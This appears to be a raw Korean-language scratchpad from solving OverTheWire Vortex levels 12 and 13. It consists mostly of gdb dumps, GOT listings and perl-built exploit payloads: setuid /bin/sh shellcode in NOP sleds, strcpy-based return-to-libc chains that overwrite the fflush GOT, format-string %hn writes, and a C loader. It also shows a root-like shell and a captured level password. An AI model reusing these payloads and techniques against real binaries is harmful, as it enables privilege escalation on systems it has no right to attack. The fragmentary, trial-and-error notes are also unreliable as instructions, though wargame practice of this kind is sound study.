0xf7ef96a2 <+210>: mov 0xc(%esp),%edx
0xf7ef96a6 <+214>: test %eax,%eax
0xf7ef96a8 <+216>: je 0xf7ef96e8 <execl+280>
0xf7ef96aa <+218>: cmp 0x10(%esp),%edi
0xf7ef96ae <+222>: je 0xf7ef96c0 <execl+240>
0xf7ef96b0 <+224>: mov %eax,%edi
0xf7ef96b2 <+226>: mov 0x14(%esp),%edx
0xf7ef96b6 <+230>: mov %ebp,%eax
0xf7ef96b8 <+232>: jmp 0xf7ef9629 <execl+89>
0xf7ef96bd <+237>: lea 0x0(%esi),%esi
0xf7ef96c0 <+240>: shl $0x2,%edx
0xf7ef96c3 <+243>: mov %edx,0x8(%esp)
0xf7ef96c7 <+247>: mov %edi,0x4(%esp)
0xf7ef96cb <+251>: mov %eax,(%esp)
0xf7ef96ce <+254>: mov %eax,0xc(%esp)
0xf7ef96d2 <+258>: call 0xf7ed2e70
0xf7ef96d7 <+263>: mov 0xc(%esp),%ecx
0xf7ef96db <+267>: mov %ebp,%eax
0xf7ef96dd <+269>: mov 0x14(%esp),%edx
0xf7ef96e1 <+273>: mov %ecx,%edi
0xf7ef96e3 <+275>: jmp 0xf7ef9629 <execl+89>
0xf7ef96e8 <+280>: cmp 0x10(%esp),%edi
0xf7ef96ec <+284>: mov $0xffffffff,%eax
0xf7ef96f1 <+289>: jne 0xf7ef965a <execl+138>
0xf7ef96f7 <+295>: add $0x1018,%esp
0xf7ef96fd <+301>: pop %ebx
0xf7ef96fe <+302>: pop %esi
0xf7ef96ff <+303>: pop %edi
0xf7ef9700 <+304>: pop %ebp
0xf7ef9701 <+305>: ret
0xf7ef9702 <+306>: mov -0x58(%ebx),%eax
0xf7ef9708 <+312>: mov (%eax),%eax
0xf7ef970a <+314>: mov %eax,0x8(%esp)
0xf7ef970e <+318>: lea 0x18(%esp),%eax
0xf7ef9712 <+322>: mov %eax,0x4(%esp)
0xf7ef9716 <+326>: mov 0x102c(%esp),%eax
0xf7ef971d <+333>: mov %eax,(%esp)
0xf7ef9720 <+336>: call 0xf7ef92d0 <execve>
0xf7ef9725 <+341>: jmp 0xf7ef966a <execl+154>
esp 0xffffce90 0xffffce90
ebp 0xffffd2a8 0xffffd2a8
esi 0x1394 5012
esp 0xffffc288 0xffffc288
-> 일단, execl로 shell 띄우는건 성공했는데...잘 모르겠다..ㅋㅋㅋ
그나저나 그래도 level13 권한을 획득하는건 실패.ㅠ
/vortex/vortex12 "`perl -e '{print "A"x1036,"\xd0\x95\xef\xf7","\x20\xd9\xff\xff","\x0f\xd9\xff\xff"x1,"\xc\xd9\xff\xff"x2}'`"
/vortex/vortex12 "`perl -e '{print "A"x1036,"\xd0\x95\xef\xf7","\x20\xd9\xff\xff","\x13\xd9\xff\xff"x1,"\xc\xd9\xff\xff"x2}'`"
0x8048434L:
Searching for ROP gadget: pop eax % with constraints: []
0x8048434L: pop eax ; pop ebx ; leave ;;
0x08048434 <+44>: pop %eax
0x08048435 <+45>: pop %ebx
0x08048436 <+46>: leave
0x08048437 <+47>: ret
/vortex/vortex12 "`perl -e '{print "A"x1032,"\xb8\xd2\xff\xff","\x34\x84\x04\x08","BBBB","CCCC","A"x20,"\x9f\x86\x04\x08"}'`"
0x804869fL: mov esp ebp ; pop ebp ;;
0x0804869f <+159>: mov %ebp,%esp
0x080486a1 <+161>: pop %ebp
0x080486a2 <+162>: ret
시나리오.
memcpy를 사용해서 .bss(0x0804a040) 으로 1차 쉘코드(sleep의 GOT를 바꾸는)를 복사한 후 실행?.
/vortex/vortex12 "`perl -e '{print "\x90"x400,"\xbb\x20\xa0\x04\x08\xc7\x03\x40\xa3\x04\x08\xe8\x0f\xff\xff\xff","\x90"x555,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x40\xa0\x04\x08","\x20\x11\xed\xf7","\x07\x87\x04\x08","\x40\xa0\x04\x08","\x60\xd5\xff\xff","\xd0\xca\xf2\xf7","\x40\xa0\x04\x08","\x04\x01\x01\x01","\x04\x01\x01\x01","\x40\xa0\x04\x08"}'`"
memcpy : 0xf7ed2e10
strcpy : 0xf7ed1120
sleep : 0xf7ef8c70
mprotect : 0xf7f2cad0
80483ce: bb 20 a0 04 08 mov $0x804a020,%ebx
80483d3: c7 03 78 56 34 12 movl $0x12345678,(%ebx)
흠..bss가 실행권한이 없네;
(gdb)
0x8048707 <__libc_csu_init+87>: pop %edi
pop-pop-ret를 사용하는 이유?
leave로 끝나지 않는 함수인 경우 stack pointer가 4byte만 이동한다(ret로 인해) ..
vortex12@melissa:~$ objdump --dynamic-reloc /vortex/vortex12
/vortex/vortex12: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a040 R_386_COPY stdout
0804a000 R_386_JUMP_SLOT syscall
0804a004 R_386_JUMP_SLOT __gmon_start__
0804a008 R_386_JUMP_SLOT __libc_start_main
0804a00c R_386_JUMP_SLOT fflush
0804a010 R_386_JUMP_SLOT strcpy
0804a014 R_386_JUMP_SLOT printf
0804a018 R_386_JUMP_SLOT getuid
0804a01c R_386_JUMP_SLOT pthread_create
0804a020 R_386_JUMP_SLOT sleep
0804a024 R_386_JUMP_SLOT getgid
23 .bss 0000000c 0804a040 0804a040 00001030 2**5
pop-pop-ret : 0x8048572
0xf7ef95d0 <execl> 의 주소.
/vortex/vortex8 `perl -e '{print "\x90"x975,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh",
"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x40\xa0\x04\x08","\xd1\x5c\xe7\xf7",
"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x41\xa0\x04\x08","\xe8\xeb\xe5\xf7",
"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x42\xa0\x04\x08","\xc8\xf5\xe5\xf7",
"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x43\xa0\x04\x08","\xf8\xed\xe5\xf7",
"\x20\x11\xed\xf7","\x70\x8c\xef\xf7","\x14\xa0\x04\x08","\x40\xa0\x04\x08"}'`
/vortex/vortex12 "`perl -e '{print "\x90"x975,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh",
"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x60\xd5\xff\xff","\xd1\x5c\xe7\xf7",
"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x61\xd5\xff\xff","\xe8\xeb\xe5\xf7",
"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x62\xd5\xff\xff","\xc8\xf5\xe5\xf7",
"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x63\xd5\xff\xff","\x8b\xab\xe5\xf7",
"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x14\xa0\x04\x08","\x60\xd5\xff\xff",
"\x70\x8c\xef\xf7","\x01"}'`"
strace /vortex/vortex12 "`perl -e '{print "\x90"x971,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x60\xd5\xff\xff","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x60\xd5\xff\xff","\xd1\x5c\xe7\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x61\xd5\xff\xff","\xe8\xeb\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x62\xd5\xff\xff","\xc8\xf5\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x63\xd5\xff\xff","\x8c\xab\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x14\xa0\x04\x08","\x60\xd5\xff\xff","\xa4\x85\x04\x08","\x01"}'`"
strace /vortex/vortex12 "`perl -e '{print "\x90"x975,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x60\xd5\xff\xff","\xd1\x5c\xe7\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x61\xd5\xff\xff","\xe8\xeb\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x62\xd5\xff\xff","\xc8\xf5\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x63\xd5\xff\xff","\xf8\xed\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x64\xd5\xff\xff","\x1d\x05\xe7\xf7","\x20\x11\xed\xf7","\x20\xa0\x04\x08","\x14\xa0\x04\x08","\x60\xd5\xff\xff"}'`"
"`perl -e '{print "\x90"x975,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x44\xa0\x04\x08","\xd1\x5c\xe7\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x45\xa0\x04\x08","\xe8\xeb\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x46\xa0\x04\x08","\xc8\xf5\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x47\xa0\x04\x08","\xf8\xed\xe5\xf7","\x20\x11\xed\xf7","\x70\x8c\xef\xf7","\x14\xa0\x04\x08","\x44\xa0\x04\x08"}'`"
strace -f /vortex/vortex12 "`perl -e '{print "\x90"x971,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x60\xd5\xff\xff","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x60\xd5\xff\xff","\xd1\x5c\xe7\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x61\xd5\xff\xff","\xe8\xeb\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x62\xd5\xff\xff","\xc8\xf5\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x63\xd5\xff\xff","\x8c\xab\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x0c\xa0\x04\x08","\x60\xd5\xff\xff","\x70\x8c\xef\xf7","\x01"}'`"
$ id
uid=5012(vortex12) gid=5012(vortex12) euid=5013(vortex13) groups=5013(vortex13),5012(vortex12)
$ cat /etc/vortex_pass/vortex13
jMyg12=nB
fflush의 GOT를 overwrite하여 exploit한다.
/vortex/vortex12 "`perl -e '{print "\x90"x975,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh",
strcpy pop-pop-ret any stack addr execve address 값을 가지는 memory들..
"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x60\xd5\xff\xff","\xd1\x5c\xe7\xf7",
"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x61\xd5\xff\xff","\xe8\xeb\xe5\xf7",
"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x62\xd5\xff\xff","\xc8\xf5\xe5\xf7",
"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x63\xd5\xff\xff","\x8b\xab\xe5\xf7",
0xffffd560에 execve의 주소값 0xf7ef95d0 이 저장된다.
"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x14\xa0\x04\x08","\x60\xd5\xff\xff",
0x0804a014(fflush GOT)를 0xffffd560에 저장되어 있는 값으로 교체한다.
"\x70\x8c\xef\xf7","\x01"}'`"
sleep로 대기.
strace로 돌린 후 execve의 아규먼트로 넘어가는 값을 확인 후, sh로 링크를 생성해준다.
[+] Level 13
- id : vortex13
- Password: jMyg12=nB
Inconveniences
How big is your shellcode? This level has a non-executable stack. You must login to vortex.labs.overthewire.org to complete this level.
int __cdecl main(int argc, int a2)
{
int cnt; // [sp+1Ch] [bp-4h]@3
int v4; // [sp+18h] [bp-8h]@4
if ( argc )
exit(1);
cnt = 0;
while ( *(_DWORD *)(4 * cnt + environ) )
{ // remove environ variable
v4 = 0;
while ( *(_BYTE *)(*(_DWORD *)(4 * cnt + environ) + v4) )
*(_BYTE *)(*(_DWORD *)(4 * cnt + environ) + v4++) = 0;
++cnt;
}
cnt = 0;
while ( *(_DWORD *)(a2 + 4 * cnt) )
{ // remove arguments
v4 = 0;
while ( *(_BYTE *)(*(_DWORD *)(a2 + 4 * cnt) + v4) )
*(_BYTE *)(*(_DWORD *)(a2 + 4 * cnt) + v4++) = 0;
++cnt;
}
vuln();
return 0;
}
void __cdecl vuln()
{
void *v0; // eax@1
int max_length; // [sp+18h] [bp-10h]@1
const char *input_str; // [sp+14h] [bp-14h]@1
signed int cnt; // [sp+1Ch] [bp-Ch]@3
max_length = 20;
v0 = malloc(20u);
input_str = (const char *)v0;
if ( !fgets((char *)v0, max_length, (FILE *)stdin) )
exit(1);
cnt = 0;
while ( cnt <= 19 )
{
if ( !strchr(allowed, input_str[cnt]) )
exit(1);
++cnt;
}
printf(input_str);
free((void *)input_str);
}
allowed : ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%.$
- 20byte shellcode로 GOT를 바꿔야한다.
- Format String Bug를 사용한다.
int main(int argc, char *argv[])
{
char *envc[] = {NULL};
char *envp[4] = {"ABC",0,0, };
envp[1] =shellcode;
envp[2] =argv[1];
execve("/vortex/vortex13", envc, envp);
return 0;
}
gcc -o loader -m32 loader.c
%s로 하면 될까?..
"\x10\xa0\x04\x08","%s"x4,"%n"
vortex13@melissa:/tmp/hclee13$ objdump --dynamic-reloc /vortex/vortex13
/vortex/vortex13: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a02c R_386_COPY __environ
0804a030 R_386_COPY stdin
0804a000 R_386_JUMP_SLOT __gmon_start__
0804a004 R_386_JUMP_SLOT strchr
0804a008 R_386_JUMP_SLOT fgets
0804a00c R_386_JUMP_SLOT __libc_start_main
0804a010 R_386_JUMP_SLOT free
0804a014 R_386_JUMP_SLOT printf
0804a018 R_386_JUMP_SLOT malloc
0804a01c R_386_JUMP_SLOT exit
AAAA%18$x%19$x
AAAA%19$0x
perl -e '{print "AAAA%36\$0x"}' | ./loader
AAAA%20$0x
AAAA%20$0x
AAAA%20$0x
AAAA%20$0x
AAAA%20$0x
AAAA%20$0x
AAAA%20$0x
AAAA%18$x
%18$x
00000000f7fd3440f7e89c6500000000
heap에 데이터가 저장되므로 %x로는 값이 보이지 않는다;.??
0000000: 4128 6e75 6c6c 2941 8822 adfb 10d0 fdf7 A(null)A."......
0000010: 10d0 fdf7 418b 0685 c075 f55b 5e5d c38b ....A....u.[^]..
0000020: 1c24 c390 9090 9090 9090 9090 9090 9090 .$..............
0000030: 5589 e55d c38d 7426 4128 6e75 6c6c 2941 U..]..t&A(null)A
0000040: 4125 7341 2573 4125 7341 2573 4125 730a A%sA%sA%sA%sA%s.
0000050: 0a
5번째인가?;..
0804b008
%123d%10$hn
perl -e '{print "\x10\xa0\x04\x08","%5\$hn"}' | ./loader
%4660d%9$hn
%2$40968x%9$n
%1$40976x%9$hn
1
00000000
2
f7fd3440
3
f7e89c65
4
00000000
5
0804b008 input string. heap address?
6
00000014 max_length
7
00000014 cnt
8
f7fd2ff4
9
08049ff4 _GLOBAL_OFFSET_TABLE_
10
ffffde68 SFP(Saved frame pointer), ebp
11
080486ac main으로 return address
12
f7ea2c3d
13
f7fd3324
14
f7fd2ff4
15
ffffde68
16
f7ea2cb5 __cxa_atexit
17
f7feed80
18
00000003
19
00000000
20
080486c0 __libc_csu_init
21
00000000
22
ffffdee8
23
f7e89e37 __libc_start_main
24
00000000
25
ffffdf14
26
ffffdf18
27
f7fdf420
28
ffffffff
29
f7ffcff4
30
080482ef
31
00000001
32
ffffded0
33
f7fedd61
34
f7ffdad0
35
f7fd72e8
36
00000001
37
f7fd2ff4
38
00000000
39
00000000
40
ffffdee8
41
6556ef6e
42
15803af8
43
00000000
44
00000000
45
00000000
46
00000000
47
08048470 ; _start
48
00000000
49
f7ff3f70
50
f7e89d5b
51
f7ffcff4
52
00000000
53
08048470
54
00000000
55
08048491 ; _start return
56
080485c4 ; main
57
00000000
58
ffffdf14
59
080486c0 ; __libc_csu_init
60
08048720 __libc_csu_fini
61
f7feed80
62
ffffdf0c
63
f7ffd918
64
00000000
65
00000000
66
ffffdfe3
67
00000000
68
00000020
69
f7fdf420
70
00000021
71
f7fdf000
72
00000010
73
17898175
74
00000006
75
00001000
76
00000011
77
00000064
78
00000003
79
08048034
80
00000004
81
00000020
82
00000005
83
00000008
84
00000007
85
f7fe0000
86
00000008
87
00000000
88
00000009
89
08048470
90
0000000b
91
00001395
92
0000000c
93
00001396
94
0000000d
95
00001395
96
0000000e
97
00001395
98
00000017
99
00000001
100
00000019
101
ffffdfcb
102
0000001f
103
ffffdfe7
104
0000000f
105
ffffdfdb
106
00000000
107
00000000
108
00000000
109
00000000
110
7b000000
111
94390359
112
cb47ca2c
113
3b96876f
114
69a6f872
115
00363836
116
00000000
117
2f000000
118
74726f76
119
762f7865
120
6574726f
121
00333178
122
00000000
123
00000000
124
Segmentation fault
125
Segmentation fault
126
Segmentation fault
127
Segmentation fault
환경변수 위치 : 0xffffd8f8
123 x/x 0x2f2e0000
124 x/x 0x41414141
125 x/x 0x00414141
126 x/x 0x00000000
127 x/x 0x00000000
SEH를 쓰면 어떻게 되러나...
set {int}0x08049ff4=0x12345678
0xffffd6c0: ---------- 0x00000000 0xf7fd3440 0xf7e89c65
0xffffd6d0: 0x00000000 0x0804b008 0x00000014 0x00000014
0xffffd6e0: 0xf7fd2ff4 0x08049ff4 0xffffd718 0x080486ac
0xffffd6f0: 0xf7ea2c3d 0xf7fd3324 0xf7fd2ff4 0xffffd718
0xffffd700: 0xf7ea2cb5 0xf7feed80 0x00000015 0x00000001
0xffffd710: 0x080486c0 0x00000000 0xffffd798 0xf7e89e37
0xffffd720: 0x00000001 0xffffd7c4 0xffffd7cc 0xf7fdf420
0xffffd730: 0xffffffff 0xf7ffcff4 0x080482ef 0x00000001
0xffffd740: 0xffffd780 0xf7fedd61 0xf7ffdad0 0xf7fd72e8
0xffffd750: 0x00000001 0xf7fd2ff4 0x00000000 0x00000000
0xffffd760: 0xffffd798 0x25573b46 0x0bc28356 0x00000000
0xffffd770: 0x00000000 0x00000000 0x00000001 0x08048470
0xffffd780: 0x00000000 0xf7ff3f70 0xf7e89d5b 0xf7ffcff4
0xffffd790: 0x00000001 0x08048470 0x00000000 0x08048491
0xffffd7a0: 0x080485c4 0x00000001 0xffffd7c4 0x080486c0
0xffffd7b0: 0x08048720 0xf7feed80 0xffffd7bc 0xf7ffd918
0xffffd7c0: 0x00000001 0xffffd8e2 0x00000000 0xffffd8f8
0xffffd7d0: 0xffffd908 0xffffd913 0xffffd935 0xffffd948
0xffffd7e0: 0xffffd95b 0xffffd969 0xffffde59 0xffffde87
0xffffd7f0: 0xffffde92 0xffffde9e 0xffffdeeb 0xffffdf03
0xffffd800: 0xffffdf12 0xffffdf23 0xffffdf34 0xffffdf3d
0xffffd810: 0xffffdf51 0xffffdf59 0xffffdf6a 0xffffdfa0
0xffffd820: 0xffffdfc0 0x00000000 0x00000020 0xf7fdf420
0xffffd830: 0x00000021 0xf7fdf000 0x00000010 0x17898175
0xffffd840: 0x00000006 0x00001000 0x00000011 0x00000064
0xffffd850: 0x00000003 0x08048034 0x00000004 0x00000020
0xffffd860: 0x00000005 0x00000008 0x00000007 0xf7fe0000
0xffffd870: 0x00000008 0x00000000 0x00000009 0x08048470
0xffffd880: 0x0000000b 0x00001395 0x0000000c 0x00001395
0xffffd890: 0x0000000d 0x00001395 0x0000000e 0x00001395
0xffffd8a0: 0x00000017 0x00000000 0x00000019 0xffffd8cb
0xffffd8b0: 0x0000001f 0xffffdfe2 0x0000000f 0xffffd8db
0xffffd8c0: 0x00000000 0x00000000 0xbf000000 0xbd0735ca
0xffffd8d0: 0x1f5ced7c 0xc8ca1b46 0x6955beed 0x00363836
0xffffd8e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd8f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd900: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd910: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd920: 0x00000000 0x00000000 0x00000000 0x00000000
80485cd: 83 7d 08 01 cmpl $0x1,0x8(%ebp)
80485d1: 74 0c je 80485df <main+0x1b>
x10\xa0\x04\x08
%40976x%124$n
%125$x
123 x/x 0x2f2e0000
124 x/x 0x41414141
125 x/x 0x00414141
126 x/x 0x00000000
127 x/x 0x00000000
Segmentation fault
vortex13@melissa:/tmp/hclee13$ ./loader
%124$08X
0804A012
vortex13@melissa:/tmp/hclee13$ ./loader
%123$08X
0804A010
%9680d%123$hn%53793d%124$hn -> 헉..짤린다ㅡㅡ;
%9680d%123$hn%53793d%124$hn -> 헉..짤린다ㅡㅡ;
27byte..-_-;
젠장..문제가 왜 이래-_-;;
%4159776208d%123$n
(gdb) print execl
$1 = {<text variable, no debug info>} 0xf7f125d0 <execl>
(gdb) print execve
$2 = {<text variable, no debug info>} 0xf7f122d0 <execve>
0xffffd6ec main으로 return address가 있는 stack을 바꿔서 vuln이 다시 실행되도록 한다.
%128$08X
0x08048524
%34084d%124$hn
ln -s /vortex/vortex13 `perl -e '{print "\x10\xa0\x04\x08\x12\xa0\x04\x08\xec\xd6\xff\xff\x41\x41\x41"}'`
rm `perl -e '{print "\x10\xa0\x04\x08\x12\xa0\x04\x08\xec\xd6\xff\xff\x41\x41\x41"}'`
cp ./vortex13 `perl -e '{print "\x10\xa0\x04\x08\x12\xa0\x04\x08\xdc\xd6\xff\xff\x41\x41\x41"}'`
./`perl -e '{print "\x10\xa0\x04\x08\x12\xa0\x04\x08\xdc\xd6\xff\xff\x41\x41\x41"}'`
ln -s /vortex/vortex13 `perl -e '{print "\x10\xa0\x04\x08\x12\xa0\x04\x08\x41\x41\x41"}'`
vortex13@melissa:/tmp/hclee13$ cat loader.c
#include <stdio.h>
int main(int argc, char *argv[])
{
char *envc[5] = {NULL,"","AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"};
char *envp[5] = {"","","","AAAA" };
char cmd[128] = {"./"};
int cnt = strlen(cmd);
#if 1
cmd[cnt] = 0x10;
cmd[cnt+1] = 0xa0;
cmd[cnt+2] = 0x04;
cmd[cnt+3] = 0x08;
cmd[cnt+4] = 0x12;
cmd[cnt+5] = 0xa0;
cmd[cnt+6] = 0x04;
cmd[cnt+7] = 0x08;
cmd[cnt+8] = 0x41;
cmd[cnt+9] = 0x41;
cmd[cnt+10] = 0x41;
cmd[cnt+11] = 0x00;
#endif
//envp[1] =shellcode;
//envc[2] =argv[1];
//envp[2] =argv[1];
//execve("/vortex/vortex13", envc, envp);
execve(cmd, envc, envp);
return 0;
}
시나리오1.
vuln 함수의 return address를 vuln의 시작점으로 돌려 무한루프를 돌게해보자.
만약 이게 성공한다면. exit의 GOT 값을 바꾼다음 exit 함수가 수행되도록 입력값을 바꾸어 넣어보자.
exit의 첫번째 아규먼트가 1이라서 명령어를 실행시킬수가 없다;;
return address를 바꾸면 무한루프가 돌지 않으므로(스택이 재설정되므로) free의 GOT table 값을 바꾸어 루프를 돌도록 했다.
그리고 exit를 바꿨지만, 아규먼트 문제로 실행 X
(gdb) disassemble main
Dump of assembler code for function main:
0x080485c4 <+0>: push %ebp
0x080485c5 <+1>: mov %esp,%ebp
0x080485c7 <+3>: and $0xfffffff0,%esp
0x080485ca <+6>: sub $0x20,%esp
0x080485cd <+9>: cmpl $0x0,0x8(%ebp)
0x080485d1 <+13>: je 0x80485df <main+27>
0x080485d3 <+15>: movl $0x1,(%esp)
0x080485da <+22>: call 0x8048460 <exit@plt>
0x080485df <+27>: movl $0x0,0x1c(%esp)
0x080485e7 <+35>: jmp 0x8048635 <main+113>
0x080485e9 <+37>: movl $0x0,0x18(%esp)
0x080485f1 <+45>: jmp 0x8048612 <main+78>
0x080485f3 <+47>: mov 0x804a02c,%eax
0x080485f8 <+52>: mov 0x1c(%esp),%edx
0x080485fc <+56>: shl $0x2,%edx
0x080485ff <+59>: add %edx,%eax
0x08048601 <+61>: mov (%eax),%edx
0x08048603 <+63>: mov 0x18(%esp),%eax
0x08048607 <+67>: lea (%edx,%eax,1),%eax
0x0804860a <+70>: movb $0x0,(%eax)
0x0804860d <+73>: addl $0x1,0x18(%esp)
0x08048612 <+78>: mov 0x804a02c,%eax
0x08048617 <+83>: mov 0x1c(%esp),%edx
0x0804861b <+87>: shl $0x2,%edx
0x0804861e <+90>: add %edx,%eax
0x08048620 <+92>: mov (%eax),%edx
0x08048622 <+94>: mov 0x18(%esp),%eax
0x08048626 <+98>: lea (%edx,%eax,1),%eax
0x08048629 <+101>: movzbl (%eax),%eax
0x0804862c <+104>: test %al,%al
0x0804862e <+106>: jne 0x80485f3 <main+47>
0x08048630 <+108>: addl $0x1,0x1c(%esp)
0x08048635 <+113>: mov 0x804a02c,%eax
0x0804863a <+118>: mov 0x1c(%esp),%edx
0x0804863e <+122>: shl $0x2,%edx
0x08048641 <+125>: add %edx,%eax
0x08048643 <+127>: mov (%eax),%eax
0x08048645 <+129>: test %eax,%eax
0x08048647 <+131>: jne 0x80485e9 <main+37>
0x08048649 <+133>: movl $0x0,0x1c(%esp)
0x08048651 <+141>: jmp 0x8048697 <main+211>
0x08048653 <+143>: movl $0x0,0x18(%esp)
0x0804865b <+151>: jmp 0x8048678 <main+180>
0x0804865d <+153>: mov 0x1c(%esp),%eax
0x08048661 <+157>: shl $0x2,%eax
0x08048664 <+160>: add 0xc(%ebp),%eax
0x08048667 <+163>: mov (%eax),%edx
0x08048669 <+165>: mov 0x18(%esp),%eax
0x0804866d <+169>: lea (%edx,%eax,1),%eax
0x08048670 <+172>: movb $0x0,(%eax)
0x08048673 <+175>: addl $0x1,0x18(%esp)
0x08048678 <+180>: mov 0x1c(%esp),%eax
0x0804867c <+184>: shl $0x2,%eax
0x0804867f <+187>: add 0xc(%ebp),%eax
0x08048682 <+190>: mov (%eax),%edx
0x08048684 <+192>: mov 0x18(%esp),%eax
0x08048688 <+196>: lea (%edx,%eax,1),%eax
0x0804868b <+199>: movzbl (%eax),%eax
0x0804868e <+202>: test %al,%al
0x08048690 <+204>: jne 0x804865d <main+153>
0x08048692 <+206>: addl $0x1,0x1c(%esp)
0x08048697 <+211>: mov 0x1c(%esp),%eax
0x0804869b <+215>: shl $0x2,%eax
0x0804869e <+218>: add 0xc(%ebp),%eax
0x080486a1 <+221>: mov (%eax),%eax
0x080486a3 <+223>: test %eax,%eax
0x080486a5 <+225>: jne 0x8048653 <main+143>
0x080486a7 <+227>: call 0x8048524 <vuln>
0x080486ac <+232>: mov $0x0,%eax
0x080486b1 <+237>: leave
0x080486b2 <+238>: ret
End of assembler dump.
(gdb) disassemble vuln
Dump of assembler code for function vuln:
0x08048524 <+0>: push %ebp
0x08048525 <+1>: mov %esp,%ebp
0x08048527 <+3>: sub $0x28,%esp
0x0804852a <+6>: movl $0x14,-0x10(%ebp)
0x08048531 <+13>: mov -0x10(%ebp),%eax
0x08048534 <+16>: mov %eax,(%esp)
0x08048537 <+19>: call 0x8048450 <malloc@plt>
0x0804853c <+24>: mov %eax,-0x14(%ebp)
0x0804853f <+27>: mov 0x804a030,%eax
0x08048544 <+32>: mov %eax,%edx
0x08048546 <+34>: mov -0x10(%ebp),%eax
